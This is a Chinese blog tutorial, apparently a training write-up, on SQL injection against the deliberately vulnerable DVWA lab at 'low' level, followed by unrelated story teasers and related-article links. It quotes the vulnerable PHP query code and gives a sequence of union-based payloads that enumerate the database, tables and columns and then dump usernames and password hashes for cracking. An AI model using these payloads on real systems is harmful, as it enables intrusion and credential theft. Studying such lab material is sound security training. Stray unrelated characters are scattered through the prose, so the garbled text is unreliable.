DVWA安全等級(jí)為low時(shí)的SQL注入漏洞

1.SQL注入點(diǎn)類(lèi)型

字符型:‘1’=‘1‘

數(shù)字型:1=1

搜索型:like ’%1%‘

2.SQL注入點(diǎn)類(lèi)型判斷

漏洞平臺(tái)DVWA? ? ?漏洞等級(jí):low? ? ?模塊:SQL Injection

1)判斷是否存在注入

找到某個(gè)web form哼转,鎖定輸入框笤虫,驗(yàn)證是否存在注入點(diǎn)

2)判斷注入點(diǎn)類(lèi)型


把級(jí)別設(shè)為low


查看源碼

// Get input

? ? $id = $_REQUEST[ 'id' ];

? ? switch ($_DVWA['SQLI_DB']) {

? ? ? ? case MYSQL:

? ? ? ? ? ? // Check database

? ? ? ? ? ? $query? = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

? ? ? ? ? ? $result = mysqli_query($GLOBALS["___mysqli_ston"],? $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

? ? ? ? ? ? // Get results

? ? ? ? ? ? while( $row = mysqli_fetch_assoc( $result ) ) {

? ? ? ? ? ? ? ? // Get values

? ? ? ? ? ? ? ? $first = $row["first_name"];

? ? ? ? ? ? ? ? $last? = $row["last_name"];

? ? ? ? ? ? ? ? // Feedback for end user

? ? ? ? ? ? ? ? echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

? ? ? ? ? ? }

? ? ? ? ? ? mysqli_close($GLOBALS["___mysqli_ston"]);

? ? ? ? ? ? break;

? ? ? ? case SQLITE:

? ? ? ? ? ? global $sqlite_db_connection;

? ? ? ? ? ? #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);

? ? ? ? ? ? #$sqlite_db_connection->enableExceptions(true);

? ? ? ? ? ? $query? = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

? ? ? ? ? ? #print $query;

? ? ? ? ? ? try {

? ? ? ? ? ? ? ? $results = $sqlite_db_connection->query($query);

? ? ? ? ? ? } catch (Exception $e) {

? ? ? ? ? ? ? ? echo 'Caught exception: ' . $e->getMessage();

? ? ? ? ? ? ? ? exit();

? ? ? ? ? ? }

? ? ? ? ? ? if ($results) {

? ? ? ? ? ? ? ? while ($row = $results->fetchArray()) {

? ? ? ? ? ? ? ? ? ? // Get values

? ? ? ? ? ? ? ? ? ? $first = $row["first_name"];

? ? ? ? ? ? ? ? ? ? $last? = $row["last_name"];

? ? ? ? ? ? ? ? ? ? // Feedback for end user

? ? ? ? ? ? ? ? ? ? echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

? ? ? ? ? ? ? ? }

? ? ? ? ? ? } else {

? ? ? ? ? ? ? ? echo "Error in fetch ".$sqlite_db->lastErrorMsg();

? ? ? ? ? ? }

? ? ? ? ? ? break;

? ? }

}

?>


拼接語(yǔ)句

非常容易形成SQL注入

id = 1' and '1'='1

SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';

可以查詢(xún)




3.SQL注入字段猜解

1)再查詢(xún)語(yǔ)句中構(gòu)造order by 子句

2)驗(yàn)證字段數(shù)




1和2都沒(méi)有報(bào)錯(cuò),而輸入3時(shí)報(bào)錯(cuò)桐早,說(shuō)明字段數(shù)為2

4.字段顯示順序

1)猜字段順序

2)結(jié)合union語(yǔ)句

輸入1' union SELECT 1,2#

那么語(yǔ)句變成SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1' union SELECT 1,2#';

可以看出,字段順序?yàn)?First name? ? Surname

5.獲取當(dāng)前數(shù)據(jù)庫(kù)

1)使用database():顯示當(dāng)前連接的數(shù)據(jù)庫(kù)

2)結(jié)合union子句

輸入1' union SELECT 1,database()#

語(yǔ)句變成SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1' union SELECT 1,database()#';


可以看到數(shù)據(jù)庫(kù)的名稱(chēng)

5.獲取當(dāng)前數(shù)據(jù)庫(kù)的表名

1.使用數(shù)據(jù)字典表:information_schema.tables季俩,定義了所有數(shù)據(jù)庫(kù)里所有表的信息

2.集合union子句闪盔,group_concat():顯示多表名稱(chēng)

前面已經(jīng)通過(guò)database()獲取了數(shù)據(jù)庫(kù)名稱(chēng):dvwa

輸入1' union SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa

語(yǔ)句變成SELECT first_name, last_name FROM users WHERE user_id = '1' union SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa';


可要看到當(dāng)前數(shù)據(jù)庫(kù)有兩張表,表名分別為guestbook和users

6.獲取字段名


1)查詢(xún)information_schema.columns中columns_name列來(lái)獲取當(dāng)前表的所有字段名稱(chēng)

2)結(jié)合union子句

輸入1' union SELECT 1,column_name FROM information_schema.columns WHERE table_name='users

語(yǔ)句變成SELECT first_name, last_name FROM users WHERE user_id = '1’ union SELECT 1,column_name FROM information_schema.columns WHERE table_name='users';


這樣就得到了user表中所有的字段名

可以使用group_concat()函數(shù)把他們顯示在一行

輸入1' union SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users


7.獲取表數(shù)據(jù)

集合union子句敬察,查詢(xún)表的所有字段,找到所涉及敏感數(shù)據(jù)的字段

使用cmd5破解users表里的password字段的數(shù)據(jù)

輸入1' union SELECT user,password FROM users#


得到賬號(hào)和密碼

使用group_concat()函數(shù)讓信息顯示整齊

1' union SELECT 1,group_concat(user,' ',password) FROM users#


在cmd5中破解密碼


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末尔当,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子蹂安,更是在濱河造成了極大的恐慌椭迎,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,376評(píng)論 6 491
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件田盈,死亡現(xiàn)場(chǎng)離奇詭異畜号,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)允瞧,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,126評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門(mén)简软,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人述暂,你說(shuō)我怎么就攤上這事痹升。” “怎么了畦韭?”我有些...
    開(kāi)封第一講書(shū)人閱讀 156,966評(píng)論 0 347
  • 文/不壞的土叔 我叫張陵疼蛾,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我艺配,道長(zhǎng)察郁,這世上最難降的妖魔是什么衍慎? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,432評(píng)論 1 283
  • 正文 為了忘掉前任,我火速辦了婚禮皮钠,結(jié)果婚禮上稳捆,老公的妹妹穿的比我還像新娘。我一直安慰自己麦轰,他們只是感情好乔夯,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,519評(píng)論 6 385
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著原朝,像睡著了一般驯嘱。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上喳坠,一...
    開(kāi)封第一講書(shū)人閱讀 49,792評(píng)論 1 290
  • 那天鞠评,我揣著相機(jī)與錄音,去河邊找鬼壕鹉。 笑死剃幌,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的晾浴。 我是一名探鬼主播负乡,決...
    沈念sama閱讀 38,933評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼脊凰!你這毒婦竟也來(lái)了抖棘?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 37,701評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤狸涌,失蹤者是張志新(化名)和其女友劉穎切省,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體帕胆,經(jīng)...
    沈念sama閱讀 44,143評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡朝捆,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,488評(píng)論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了懒豹。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片芙盘。...
    茶點(diǎn)故事閱讀 38,626評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖脸秽,靈堂內(nèi)的尸體忽然破棺而出儒老,到底是詐尸還是另有隱情,我是刑警寧澤豹储,帶...
    沈念sama閱讀 34,292評(píng)論 4 329
  • 正文 年R本政府宣布贷盲,位于F島的核電站,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏巩剖。R本人自食惡果不足惜铝穷,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,896評(píng)論 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望佳魔。 院中可真熱鬧曙聂,春花似錦、人聲如沸鞠鲜。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,742評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)贤姆。三九已至榆苞,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間霞捡,已是汗流浹背坐漏。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,977評(píng)論 1 265
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留碧信,地道東北人赊琳。 一個(gè)月前我還...
    沈念sama閱讀 46,324評(píng)論 2 360
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像砰碴,于是被迫代替她去往敵國(guó)和親躏筏。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,494評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容

  • SQL注入漏洞(SQL injection)是Web層面最高危的漏洞之一呈枉。在2008年至2010年期間趁尼,SQL注入...
    codingQi閱讀 948評(píng)論 0 0
  • SQL注入漏洞 0x01 什么是SQL注入sql注入就是一種通過(guò)操作輸入來(lái)修改后臺(tái)操作語(yǔ)句達(dá)到執(zhí)行惡意sql語(yǔ)句來(lái)...
    Alpenliebe1閱讀 471評(píng)論 0 1
  • 天有不測(cè)風(fēng)云,事情的起因要從這次突然的內(nèi)網(wǎng)接口安全掃描說(shuō)起猖辫。這天小馬突然收到大大轉(zhuǎn)發(fā)的郵件弱卡,被告知某幾個(gè)api存在...
    小馬過(guò)河R閱讀 375評(píng)論 5 4
  • 0x00前言 SQL注入是一種注入攻擊,可以執(zhí)行惡意SQL語(yǔ)句住册。這些語(yǔ)句控制Web應(yīng)用程序后面的數(shù)據(jù)庫(kù)服務(wù)器。攻擊...
    5f4120c4213b閱讀 1,734評(píng)論 0 0
  • 首發(fā)地址:我的個(gè)人博客 前言 本文章產(chǎn)生的緣由是因?yàn)閷?zhuān)業(yè)老師瓮具,讓我給本專(zhuān)業(yè)的同學(xué)講一哈SQL注入和XSS入門(mén)荧飞,也就...
    簡(jiǎn)言之_閱讀 1,169評(píng)論 0 7